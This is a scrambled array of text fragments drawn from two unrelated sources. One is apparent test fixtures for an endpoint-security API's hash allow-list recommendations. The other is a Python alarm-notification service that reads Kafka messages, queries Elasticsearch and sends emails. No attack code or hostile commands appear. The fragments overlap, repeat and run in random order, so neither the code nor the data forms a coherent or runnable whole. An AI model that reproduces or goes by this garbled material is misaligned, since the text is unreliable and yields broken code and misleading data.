"\"mimecast for outlook 7.8.0.125 (x86).msi\" }, \"workflow\": { \"status\": \"NEW\",",
"\"event_count\": 79, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } } ], \"num_found\":",
"ACTION_SEARCH_RESP = { \"results\": [ACTION_INIT], \"num_found\": 1 } ACTION_REFRESH_STATUS =",
"= { \"results\": [ { \"recommendation_id\": \"91e9158f-23cc-47fd-af7f-8f56e2206523\", \"rule_type\": \"reputation_override\", \"policy_id\":",
"\"impacted_devices\": 45, \"event_count\": 76, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } },",
"8, \"event_count\": 25, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } }, {",
"\"32d2be78c00056b577295aa0943d97a5c5a0be357183fcd714c7f5036e4bdede\", \"filename\": \"XprotectService\", \"application\": { \"type\": \"EXE\", \"value\": \"FOO\" }",
"}, { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\": {",
"ACTION_REFRESH_STATUS = ['ACCEPTED', 'NEW', 'REJECTED'] ACTION_INIT_ACCEPTED = { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\",",
"7.8.0.125 (x86).msi\" }, \"workflow\": { \"status\": \"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\":",
"\"new_rule\": { \"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"0bbc082cd8b3ff62898ad80a57cb5e1f379e3fcfa48fa2f9858901eb0c220dc0\", \"filename\": \"sophos",
"{ \"policy_type\": ['reputation_override'], \"status\": ['NEW', 'REJECTED', 'ACCEPTED'], \"hashes\": ['111', '222']",
"\"impacted_devices\": 45, \"event_count\": 79, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } }",
"0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } }, { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\",",
"is coming\" }, \"impact\": { \"org_adoption\": \"MEDIUM\", \"impacted_devices\": 45, \"event_count\":",
"\"2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124\", \"filename\": \"mimecast for outlook 192.168.3.11 (x86).msi\" }, \"workflow\": {",
"\"results\": [ACTION_INIT], \"num_found\": 1 } ACTION_REFRESH_STATUS = ['ACCEPTED', 'NEW', 'REJECTED']",
"recommendations.\"\"\" SEARCH_REQ = { \"criteria\": { \"policy_type\": ['reputation_override'], \"status\": ['NEW',",
"\"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"2272c5221e90f9762dfa38786da01b36a28a7da5556b07dec3523d1abc292124\", \"filename\": \"mimecast for outlook 192.168.3.11 (x86).msi\"",
"\"workflow\": { \"status\": \"ACCEPTED\", \"ref_id\": \"e9410b754ea011ebbfd0db2585a41b07\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\",",
"\"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T20:53:39.000Z\", \"comment\": \"Ours is the fury\" },",
"\"action\": \"RESET\" }, { \"action\": \"REJECT\", \"comment\": \"Charlie\" }, ]",
"\"event_count\": 76, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } }, { \"recommendation_id\":",
"outlook 7.8.0.125 (x86).msi\" }, \"workflow\": { \"status\": \"NEW\", \"changed_by\": \"<EMAIL>\",",
"{ \"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"0bbc082cd8b3ff62898ad80a57cb5e1f379e3fcfa48fa2f9858901eb0c220dc0\", \"filename\": \"sophos ui.msi\"",
"{ \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\": { \"override_type\":",
"\"comment\": \"Winter is coming\" }, \"impact\": { \"org_adoption\": \"MEDIUM\", \"impacted_devices\":",
"} } ], \"num_found\": 3 } ACTION_INIT = { \"recommendation_id\":",
"= { \"criteria\": { \"status\": ['NEW', 'REJECTED', 'ACCEPTED'], \"policy_type\": ['reputation_override']",
"{ \"org_adoption\": \"HIGH\", \"impacted_devices\": 8, \"event_count\": 25, \"impact_score\": 0, \"update_time\":",
"}, ] ACTION_REFRESH_SEARCH = { \"criteria\": { \"status\": ['NEW', 'REJECTED',",
"outlook 192.168.3.11 (x86).msi\" }, \"workflow\": { \"status\": \"ACCEPTED\", \"ref_id\": \"e9410b754ea011ebbfd0db2585a41b07\",",
"\"action\": \"REJECT\", \"comment\": \"Charlie\" }, ] ACTION_REFRESH_SEARCH = { \"criteria\":",
"45, \"event_count\": 79, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } } ACTION_REQS",
"\"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"32d2be78c00056b577295aa0943d97a5c5a0be357183fcd714c7f5036e4bdede\", \"filename\": \"XprotectService\", \"application\": {",
"\"0bbc082cd8b3ff62898ad80a57cb5e1f379e3fcfa48fa2f9858901eb0c220dc0\", \"filename\": \"sophos ui.msi\" }, \"workflow\": { \"status\": \"NEW\", \"changed_by\":",
"\"EXE\", \"value\": \"FOO\" } }, \"workflow\": { \"status\": \"NEW\", \"changed_by\":",
"{ \"override_type\": \"SHA256\", \"override_list\": \"WHITE_LIST\", \"sha256_hash\": \"32d2be78c00056b577295aa0943d97a5c5a0be357183fcd714c7f5036e4bdede\", \"filename\": \"XprotectService\", \"application\":",
"{ \"org_adoption\": \"LOW\", \"impacted_devices\": 45, \"event_count\": 76, \"impact_score\": 0, \"update_time\":",
"\"update_time\": \"2021-05-18T16:37:07.000Z\" } }, { \"recommendation_id\": \"bd50c2b2-5403-4e9e-8863-9991f70df026\", \"rule_type\": \"reputation_override\", \"policy_id\":",
"1 } ACTION_REFRESH_STATUS = ['ACCEPTED', 'NEW', 'REJECTED'] ACTION_INIT_ACCEPTED = {",
"\"update_time\": \"2021-08-31T20:53:39.000Z\", \"comment\": \"Ours is the fury\" }, \"impact\": {",
"\"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T15:13:40.000Z\", \"comment\": \"Winter is coming\" }, \"impact\": {",
"\"update_time\": \"2021-05-18T16:37:07.000Z\" } } ], \"num_found\": 3 } ACTION_INIT =",
"} ACTION_INIT = { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\", \"policy_id\": 0,",
"50 } ACTION_SEARCH_RESP = { \"results\": [ACTION_INIT], \"num_found\": 1 }",
"\"WHITE_LIST\", \"sha256_hash\": \"0bbc082cd8b3ff62898ad80a57cb5e1f379e3fcfa48fa2f9858901eb0c220dc0\", \"filename\": \"sophos ui.msi\" }, \"workflow\": { \"status\":",
"{ \"action\": \"REJECT\", \"comment\": \"Charlie\" }, ] ACTION_REFRESH_SEARCH = {",
"\"status\": \"ACCEPTED\", \"ref_id\": \"e9410b754ea011ebbfd0db2585a41b07\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T15:13:40.000Z\",",
"'NEW', 'REJECTED'] ACTION_INIT_ACCEPTED = { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\", \"policy_id\":",
"\"0d9da444-cfa7-4488-9fad-e2abab099b68\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\": { \"override_type\": \"SHA256\", \"override_list\":",
"\"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\": \"2021-08-31T20:53:39.000Z\", \"comment\": \"Ours is the",
"}, \"rows\": 50, \"sort\": [ { \"field\": \"impact_score\", \"order\": \"DESC\"",
"\"update_time\": \"2021-05-18T16:37:07.000Z\" } } ACTION_REQS = [ { \"action\": \"ACCEPT\",",
"{ \"action\": \"ACCEPT\", \"comment\": \"Alpha\" }, { \"action\": \"RESET\" },"
] |
[
"# \"alarm_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"undetermined_actions\": [",
"type which defines what document ' 'type the messages will",
"if msg and msg.message: LOG.debug(\"Message received for alarm: \" +",
"message processer to load to process the message.' 'If the",
"\"key2\": \"value2\", # \"key1\": \"value1\" # } # }, #",
"# \"match_by\": [ # \"hostname\" # ], # \"description\": \"The",
"# ], # \"description\": \"The average CPU percent is greater",
"to ElasticSearch returned: %s' % es_res) if es_res is None:",
"default='', help=('The message processer to load to process the message.'",
"% es_res) if es_res is None: LOG.error(\"The provided is not",
"address = es_res[\"hits\"][0][\"_source\"][\"address\"] types.append(type) addresses.append(address) email_addresses = [] for i",
"[\"ALARM\",\"OK\",\"UNDETERMINED\"]: LOG.error(\"state of alarm is not defined as expected\") return",
"avg(biz)>1300\", # \"id\": \"c60ec47e-5038-4bf1-9f95-4046c6e91111\", # \"severity\": \"LOW\" # } #",
"the message does not need to be process anyway,' 'leave",
"LOG.exception('Error occurred while handling kafka messages.') def stop(self): self._kafka_conn.close() super(NotificationEngine,",
"\"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"undetermined_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ],",
"# the action_id is an id of notification method #",
"try: for msg in self._kafka_conn.get_messages(): self.handle_alarm_msg(msg) # if autocommit is",
"es_res) if es_res is None: LOG.error(\"The provided is not defined",
"dict_msg[\"alarm-definition\"][\"ok_actions\"] if state == 'UNDETERMINED': actions = dict_msg[\"alarm-definition\"][\"undetermined_actions\"] addresses =",
"else: self._es_conn = es_conn.ESConnection( cfg.CONF.notification.topic2) def handle_alarm_msg(self, msg): if msg",
"except Exception: LOG.exception('Error occurred while handling kafka messages.') def stop(self):",
"of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless",
"specific language governing permissions and limitations # under the License.",
"# not use this file except in compliance with the",
"to dict, and get state to determine the actions(notification method",
"<NAME> <<EMAIL>> # # Licensed under the Apache License, Version",
"format is: # { # \"metrics\": { # \"timestamp\": 1432672915.409,",
"msg are not dealt with for now) dict_msg = ast.literal_eval(value)",
"== 200: obj = res.json() if obj: return obj.get('hits') return",
"es_res = _get_notification_method_response(es_res) LOG.debug('Query to ElasticSearch returned: %s' % es_res)",
"\"expression\": \"max(foo{hostname=mini-mon,mu=na}, 120) > 1100 # and max(bar { asd",
"# \"state_updated_timestamp\": 1432672915, # \"state\": \"ALARM\", # \"alarm-definition\": { #",
"range(len(types)): if types[i] == \"EMAIL\": email_addresses.append(addresses[i]) email_sender.send_emails(email_addresses, \"Alarm to User\",",
"in compliance with the License. You may obtain # a",
"from monasca.common import es_conn from monasca.common import email_sender from monasca.common",
"\"dimensions\": { # \"key2\": \"value2\", # \"key1\": \"value1\" # }",
"in self._kafka_conn.get_messages(): self.handle_alarm_msg(msg) # if autocommit is set, this will",
"doc_type if it is defined. if cfg.CONF.notification.doc_type: self._es_conn = es_conn.ESConnection(",
"and max(bar { asd = asd} )>1200 or avg(biz)>1300\", #",
"You may obtain # a copy of the License at",
"help=('The topic that messages will be retrieved from.' 'This also",
"greater than 10\", # \"ok_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ],",
"{ asd = asd} )>1200 or avg(biz)>1300\", # \"id\": \"c60ec47e-5038-4bf1-9f95-4046c6e91111\",",
"\"name\": \"biz\", # \"value\": 1500, # \"dimensions\": { # \"key2\":",
"# \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"name\": \"Average CPU percent greater",
"phone txt msg are not dealt with for now) dict_msg",
"the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required",
"method id) needed. # the method id can be used",
"return name = es_res[\"hits\"][0][\"_source\"][\"name\"] type = es_res[\"hits\"][0][\"_source\"][\"type\"] address = es_res[\"hits\"][0][\"_source\"][\"address\"]",
"state == 'ALARM': actions = dict_msg[\"alarm-definition\"][\"alarm_actions\"] if state == 'OK':",
"\"hostname\" # ], # \"description\": \"The average CPU percent is",
"%s' % es_res) if es_res is None: LOG.error(\"The provided is",
"NotificationEngine(os_service.Service): def __init__(self, threads=1000): super(NotificationEngine, self).__init__(threads) self._kafka_conn = kafka_conn.KafkaConnection( cfg.CONF.notification.topic)",
"message with different types for action_id in actions: es_res =",
"True: try: for msg in self._kafka_conn.get_messages(): self.handle_alarm_msg(msg) # if autocommit",
"to determine the actions(notification method id) needed. # the method",
"as os_service es_opts = [ cfg.StrOpt('topic', default='alarm', help=('The topic that",
"messages will be retrieved from.' 'This also will be used",
"return None else: return None es_res = _get_notification_method_response(es_res) LOG.debug('Query to",
"ElasticSearch.')), cfg.StrOpt('topic2', default='notification_methods', help=('The topic that messages will be retrieved",
"under the License is distributed on an \"AS IS\" BASIS,",
"msg.message.value) value = msg.message.value if value: # value's format is:",
"messages will be save into. If not ' 'specified, then",
"actions = dict_msg[\"alarm-definition\"][\"ok_actions\"] if state == 'UNDETERMINED': actions = dict_msg[\"alarm-definition\"][\"undetermined_actions\"]",
"# \"name\": \"biz\", # \"value\": 1500, # \"dimensions\": { #",
"the actions(notification method id) needed. # the method id can",
"from stevedore import driver from monasca.common import es_conn from monasca.common",
"dict, and get state to determine the actions(notification method id)",
"\"alarm-definition\": { # \"alarm_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], #",
"= cfg.OptGroup(name='notification', title='notification') cfg.CONF.register_group(es_group) cfg.CONF.register_opts(es_opts, es_group) LOG = log.getLogger(__name__) class",
"msg in self._kafka_conn.get_messages(): self.handle_alarm_msg(msg) # if autocommit is set, this",
"percent is greater than 10\", # \"ok_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\"",
"this file except in compliance with the License. You may",
"Exception: LOG.exception('Error occurred while handling kafka messages.') def stop(self): self._kafka_conn.close()",
"actions: es_res = self._es_conn.get_message_by_id(action_id) def _get_notification_method_response(res): if res and res.status_code",
"the message.' 'If the message does not need to be",
"# and max(bar { asd = asd} )>1200 or avg(biz)>1300\",",
"json from oslo.config import cfg from stevedore import driver from",
"cfg.StrOpt('topic', default='alarm', help=('The topic that messages will be retrieved from.'",
"addresses = [] types = [] # the action_id is",
"None es_res = _get_notification_method_response(es_res) LOG.debug('Query to ElasticSearch returned: %s' %",
"get state to determine the actions(notification method id) needed. #",
"is an id of notification method # there can be",
"LOG.error(\"The provided is not defined as expected\") return name =",
"Then an email will be sent (TODO: phone txt msg",
"software # distributed under the License is distributed on an",
"(the \"License\"); you may # not use this file except",
"{ # \"key2\": \"value2\", # \"key1\": \"value1\" # } #",
"\"ALARM\", # \"alarm-definition\": { # \"alarm_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" #",
"# } # }, # \"state_updated_timestamp\": 1432672915, # \"state\": \"ALARM\",",
"id) needed. # the method id can be used to",
"== \"EMAIL\": email_addresses.append(addresses[i]) email_sender.send_emails(email_addresses, \"Alarm to User\", dict_msg[\"alarm-definition\"][\"description\"]) def start(self):",
"id of notification method # there can be multiple ids",
"{ # \"alarm_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"undetermined_actions\":",
"doc type when saved ' 'to ElasticSearch.')), cfg.StrOpt('doc_type', default='', help=('The",
"be save into. If not ' 'specified, then the topic",
"while True: try: for msg in self._kafka_conn.get_messages(): self.handle_alarm_msg(msg) # if",
"LOG.error(\"state of alarm is not defined as expected\") return actions",
"cfg from stevedore import driver from monasca.common import es_conn from",
"{ # \"timestamp\": 1432672915.409, # \"name\": \"biz\", # \"value\": 1500,",
"method # there can be multiple ids in one alarm",
"'This also will be used as a doc type when",
"file except in compliance with the License. You may obtain",
"also will be used as a doc type when saved",
"percent greater than 10\", # \"match_by\": [ # \"hostname\" #",
"ast.literal_eval(value) state = dict_msg[\"state\"] if state not in [\"ALARM\",\"OK\",\"UNDETERMINED\"]: LOG.error(\"state",
"this will be a no-op call. self._kafka_conn.commit() except Exception: LOG.exception('Error",
"# under the License. import ast import json from oslo.config",
"= msg.message.value if value: # value's format is: # {",
"= [] for i in range(len(types)): if types[i] == \"EMAIL\":",
"# \"id\": \"c60ec47e-5038-4bf1-9f95-4046c6e91111\", # \"severity\": \"LOW\" # } # }",
"cfg.CONF.notification.doc_type) else: self._es_conn = es_conn.ESConnection( cfg.CONF.notification.topic2) def handle_alarm_msg(self, msg): if",
"\"Alarm to User\", dict_msg[\"alarm-definition\"][\"description\"]) def start(self): while True: try: for",
"be a no-op call. self._kafka_conn.commit() except Exception: LOG.exception('Error occurred while",
"OR CONDITIONS OF ANY KIND, either express or implied. See",
"the specific language governing permissions and limitations # under the",
"types = [] # the action_id is an id of",
"\"name\": \"Average CPU percent greater than 10\", # \"match_by\": [",
"service as os_service es_opts = [ cfg.StrOpt('topic', default='alarm', help=('The topic",
"[] # the action_id is an id of notification method",
"under the Apache License, Version 2.0 (the \"License\"); you may",
"permissions and limitations # under the License. import ast import",
"load to process the message.' 'If the message does not",
"es_res[\"hits\"][0][\"_source\"][\"type\"] address = es_res[\"hits\"][0][\"_source\"][\"address\"] types.append(type) addresses.append(address) email_addresses = [] for",
"{ # \"metrics\": { # \"timestamp\": 1432672915.409, # \"name\": \"biz\",",
"actions = dict_msg[\"alarm-definition\"][\"undetermined_actions\"] addresses = [] types = [] #",
"if res and res.status_code == 200: obj = res.json() if",
"process the message.' 'If the message does not need to",
"sent (TODO: phone txt msg are not dealt with for",
"can be multiple ids in one alarm message with different",
"# \"key2\": \"value2\", # \"key1\": \"value1\" # } # },",
"import log from monasca.openstack.common import service as os_service es_opts =",
"# \"alarm-definition\": { # \"alarm_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ],",
"notification method in elasticSearch # Then an email will be",
"== 'ALARM': actions = dict_msg[\"alarm-definition\"][\"alarm_actions\"] if state == 'OK': actions",
"of alarm is not defined as expected\") return actions =",
"action_id in actions: es_res = self._es_conn.get_message_by_id(action_id) def _get_notification_method_response(res): if res",
"WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.",
"\"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY",
"= kafka_conn.KafkaConnection( cfg.CONF.notification.topic) # Use doc_type if it is defined.",
"'specified, then the topic will be used.')), cfg.StrOpt('processor', default='', help=('The",
"than 10\", # \"ok_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], #",
"# \"name\": \"Average CPU percent greater than 10\", # \"match_by\":",
"for i in range(len(types)): if types[i] == \"EMAIL\": email_addresses.append(addresses[i]) email_sender.send_emails(email_addresses,",
"= [] if state == 'ALARM': actions = dict_msg[\"alarm-definition\"][\"alarm_actions\"] if",
"# }, # \"state_updated_timestamp\": 1432672915, # \"state\": \"ALARM\", # \"alarm-definition\":",
"actions = dict_msg[\"alarm-definition\"][\"alarm_actions\"] if state == 'OK': actions = dict_msg[\"alarm-definition\"][\"ok_actions\"]",
"at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable",
"to in writing, software # distributed under the License is",
"save into. If not ' 'specified, then the topic will",
"type when saved ' 'to ElasticSearch.')), cfg.StrOpt('topic2', default='notification_methods', help=('The topic",
"1500, # \"dimensions\": { # \"key2\": \"value2\", # \"key1\": \"value1\"",
"be used to match the notification method in elasticSearch #",
"import driver from monasca.common import es_conn from monasca.common import email_sender",
"} # convert to dict, and get state to determine",
"or agreed to in writing, software # distributed under the",
"<<EMAIL>> # # Licensed under the Apache License, Version 2.0",
"required by applicable law or agreed to in writing, software",
"used.')), cfg.StrOpt('processor', default='', help=('The message processer to load to process",
"\"description\": \"The average CPU percent is greater than 10\", #",
"value's format is: # { # \"metrics\": { # \"timestamp\":",
"# } # } # convert to dict, and get",
"does not need to be process anyway,' 'leave the default')),",
"cfg.StrOpt('topic2', default='notification_methods', help=('The topic that messages will be retrieved from.'",
"ElasticSearch.')), cfg.StrOpt('doc_type', default='', help=('The document type which defines what document",
"document ' 'type the messages will be save into. If",
"\" + msg.message.value) value = msg.message.value if value: # value's",
"dealt with for now) dict_msg = ast.literal_eval(value) state = dict_msg[\"state\"]",
"as expected\") return name = es_res[\"hits\"][0][\"_source\"][\"name\"] type = es_res[\"hits\"][0][\"_source\"][\"type\"] address",
"# \"value\": 1500, # \"dimensions\": { # \"key2\": \"value2\", #",
"self.handle_alarm_msg(msg) # if autocommit is set, this will be a",
"120) > 1100 # and max(bar { asd = asd}",
"cfg.CONF.notification.topic2) def handle_alarm_msg(self, msg): if msg and msg.message: LOG.debug(\"Message received",
"import email_sender from monasca.common import kafka_conn from monasca.openstack.common import log",
"obj = res.json() if obj: return obj.get('hits') return None else:",
"self._kafka_conn.get_messages(): self.handle_alarm_msg(msg) # if autocommit is set, this will be",
"email_sender from monasca.common import kafka_conn from monasca.openstack.common import log from",
"limitations # under the License. import ast import json from",
"Apache License, Version 2.0 (the \"License\"); you may # not",
"self._es_conn = es_conn.ESConnection( cfg.CONF.notification.topic2) def handle_alarm_msg(self, msg): if msg and",
"oslo.config import cfg from stevedore import driver from monasca.common import",
"used as a doc type when saved ' 'to ElasticSearch.')),",
"\"state_updated_timestamp\": 1432672915, # \"state\": \"ALARM\", # \"alarm-definition\": { # \"alarm_actions\":",
"used to match the notification method in elasticSearch # Then",
"saved ' 'to ElasticSearch.')), cfg.StrOpt('topic2', default='notification_methods', help=('The topic that messages",
"es_res[\"hits\"][0][\"_source\"][\"address\"] types.append(type) addresses.append(address) email_addresses = [] for i in range(len(types)):",
"'ALARM': actions = dict_msg[\"alarm-definition\"][\"alarm_actions\"] if state == 'OK': actions =",
"agreed to in writing, software # distributed under the License",
"msg and msg.message: LOG.debug(\"Message received for alarm: \" + msg.message.value)",
"ElasticSearch returned: %s' % es_res) if es_res is None: LOG.error(\"The",
"distributed under the License is distributed on an \"AS IS\"",
"when saved ' 'to ElasticSearch.')), cfg.StrOpt('topic2', default='notification_methods', help=('The topic that",
"# \"description\": \"The average CPU percent is greater than 10\",",
"if value: # value's format is: # { # \"metrics\":",
"License, Version 2.0 (the \"License\"); you may # not use",
"CONDITIONS OF ANY KIND, either express or implied. See the",
"None: LOG.error(\"The provided is not defined as expected\") return name",
"\"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"expression\": \"max(foo{hostname=mini-mon,mu=na}, 120) > 1100 #",
"and get state to determine the actions(notification method id) needed.",
"not use this file except in compliance with the License.",
"# ], # \"name\": \"Average CPU percent greater than 10\",",
"occurred while handling kafka messages.') def stop(self): self._kafka_conn.close() super(NotificationEngine, self).stop()",
"writing, software # distributed under the License is distributed on",
"be used as a doc type when saved ' 'to",
"# \"dimensions\": { # \"key2\": \"value2\", # \"key1\": \"value1\" #",
"'UNDETERMINED': actions = dict_msg[\"alarm-definition\"][\"undetermined_actions\"] addresses = [] types = []",
"self._kafka_conn.commit() except Exception: LOG.exception('Error occurred while handling kafka messages.') def",
"_get_notification_method_response(es_res) LOG.debug('Query to ElasticSearch returned: %s' % es_res) if es_res",
"monasca.common import email_sender from monasca.common import kafka_conn from monasca.openstack.common import",
"# Licensed under the Apache License, Version 2.0 (the \"License\");",
"\"match_by\": [ # \"hostname\" # ], # \"description\": \"The average",
"= log.getLogger(__name__) class NotificationEngine(os_service.Service): def __init__(self, threads=1000): super(NotificationEngine, self).__init__(threads) self._kafka_conn",
"in elasticSearch # Then an email will be sent (TODO:",
"if cfg.CONF.notification.doc_type: self._es_conn = es_conn.ESConnection( cfg.CONF.notification.doc_type) else: self._es_conn = es_conn.ESConnection(",
"the License. You may obtain # a copy of the",
"an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF",
"expected\") return name = es_res[\"hits\"][0][\"_source\"][\"name\"] type = es_res[\"hits\"][0][\"_source\"][\"type\"] address =",
"use this file except in compliance with the License. You",
"import kafka_conn from monasca.openstack.common import log from monasca.openstack.common import service",
"topic will be used.')), cfg.StrOpt('processor', default='', help=('The message processer to",
"in [\"ALARM\",\"OK\",\"UNDETERMINED\"]: LOG.error(\"state of alarm is not defined as expected\")",
"es_opts = [ cfg.StrOpt('topic', default='alarm', help=('The topic that messages will",
"= ast.literal_eval(value) state = dict_msg[\"state\"] if state not in [\"ALARM\",\"OK\",\"UNDETERMINED\"]:",
"as a doc type when saved ' 'to ElasticSearch.')), cfg.StrOpt('doc_type',",
"processer to load to process the message.' 'If the message",
"dict_msg[\"alarm-definition\"][\"alarm_actions\"] if state == 'OK': actions = dict_msg[\"alarm-definition\"][\"ok_actions\"] if state",
"[ # \"hostname\" # ], # \"description\": \"The average CPU",
"], # \"undetermined_actions\": [ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"name\":",
"'type the messages will be save into. If not '",
"that messages will be retrieved from.' 'This also will be",
"If not ' 'specified, then the topic will be used.')),",
"\"The average CPU percent is greater than 10\", # \"ok_actions\":",
"None else: return None es_res = _get_notification_method_response(es_res) LOG.debug('Query to ElasticSearch",
"to match the notification method in elasticSearch # Then an",
"as a doc type when saved ' 'to ElasticSearch.')), cfg.StrOpt('topic2',",
"from.' 'This also will be used as a doc type",
"# # Author: <NAME> <<EMAIL>> # # Licensed under the",
"10\", # \"match_by\": [ # \"hostname\" # ], # \"description\":",
"1100 # and max(bar { asd = asd} )>1200 or",
"addresses.append(address) email_addresses = [] for i in range(len(types)): if types[i]",
"License is distributed on an \"AS IS\" BASIS, WITHOUT #",
"KIND, either express or implied. See the # License for",
"be retrieved from.' 'This also will be used as a",
"state not in [\"ALARM\",\"OK\",\"UNDETERMINED\"]: LOG.error(\"state of alarm is not defined",
"will be used.')), cfg.StrOpt('processor', default='', help=('The message processer to load",
"is not defined as expected\") return name = es_res[\"hits\"][0][\"_source\"][\"name\"] type",
"monasca.openstack.common import log from monasca.openstack.common import service as os_service es_opts",
"there can be multiple ids in one alarm message with",
"\"License\"); you may # not use this file except in",
"IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND,",
"handle_alarm_msg(self, msg): if msg and msg.message: LOG.debug(\"Message received for alarm:",
"(TODO: phone txt msg are not dealt with for now)",
"alarm is not defined as expected\") return actions = []",
"defined as expected\") return name = es_res[\"hits\"][0][\"_source\"][\"name\"] type = es_res[\"hits\"][0][\"_source\"][\"type\"]",
"express or implied. See the # License for the specific",
"the Apache License, Version 2.0 (the \"License\"); you may #",
"with different types for action_id in actions: es_res = self._es_conn.get_message_by_id(action_id)",
"returned: %s' % es_res) if es_res is None: LOG.error(\"The provided",
"[ cfg.StrOpt('topic', default='alarm', help=('The topic that messages will be retrieved",
"greater than 10\", # \"match_by\": [ # \"hostname\" # ],",
"LOG.debug(\"Message received for alarm: \" + msg.message.value) value = msg.message.value",
"to process the message.' 'If the message does not need",
"if obj: return obj.get('hits') return None else: return None es_res",
"cfg.CONF.register_opts(es_opts, es_group) LOG = log.getLogger(__name__) class NotificationEngine(os_service.Service): def __init__(self, threads=1000):",
"See the # License for the specific language governing permissions",
"es_res[\"hits\"][0][\"_source\"][\"name\"] type = es_res[\"hits\"][0][\"_source\"][\"type\"] address = es_res[\"hits\"][0][\"_source\"][\"address\"] types.append(type) addresses.append(address) email_addresses",
"then the topic will be used.')), cfg.StrOpt('processor', default='', help=('The message",
"id can be used to match the notification method in",
"res and res.status_code == 200: obj = res.json() if obj:",
"# a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0",
"if types[i] == \"EMAIL\": email_addresses.append(addresses[i]) email_sender.send_emails(email_addresses, \"Alarm to User\", dict_msg[\"alarm-definition\"][\"description\"])",
"as expected\") return actions = [] if state == 'ALARM':",
"import ast import json from oslo.config import cfg from stevedore",
"import json from oslo.config import cfg from stevedore import driver",
"\"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"name\": \"Average CPU percent greater than",
"LOG.debug('Query to ElasticSearch returned: %s' % es_res) if es_res is",
"+ msg.message.value) value = msg.message.value if value: # value's format",
"\"c60ec47e-5038-4bf1-9f95-4046c6e91111\", # \"severity\": \"LOW\" # } # } # convert",
"[] if state == 'ALARM': actions = dict_msg[\"alarm-definition\"][\"alarm_actions\"] if state",
"retrieved from.' 'This also will be used as a doc",
"dict_msg[\"alarm-definition\"][\"undetermined_actions\"] addresses = [] types = [] # the action_id",
"# there can be multiple ids in one alarm message",
"law or agreed to in writing, software # distributed under",
"alarm: \" + msg.message.value) value = msg.message.value if value: #",
"License. import ast import json from oslo.config import cfg from",
"ast import json from oslo.config import cfg from stevedore import",
"# \"key1\": \"value1\" # } # }, # \"state_updated_timestamp\": 1432672915,",
"of notification method # there can be multiple ids in",
"if es_res is None: LOG.error(\"The provided is not defined as",
"# } # convert to dict, and get state to",
"implied. See the # License for the specific language governing",
"= dict_msg[\"alarm-definition\"][\"ok_actions\"] if state == 'UNDETERMINED': actions = dict_msg[\"alarm-definition\"][\"undetermined_actions\"] addresses",
"# Copyright 2015 Carnegie Mellon University # # Author: <NAME>",
"[ # \"c60ec47e-5038-4bf1-9f95-4046c6e9a759\" # ], # \"expression\": \"max(foo{hostname=mini-mon,mu=na}, 120) >",
"not in [\"ALARM\",\"OK\",\"UNDETERMINED\"]: LOG.error(\"state of alarm is not defined as",
"User\", dict_msg[\"alarm-definition\"][\"description\"]) def start(self): while True: try: for msg in",
"# value's format is: # { # \"metrics\": { #",
"# { # \"metrics\": { # \"timestamp\": 1432672915.409, # \"name\":",
"== 'UNDETERMINED': actions = dict_msg[\"alarm-definition\"][\"undetermined_actions\"] addresses = [] types =",
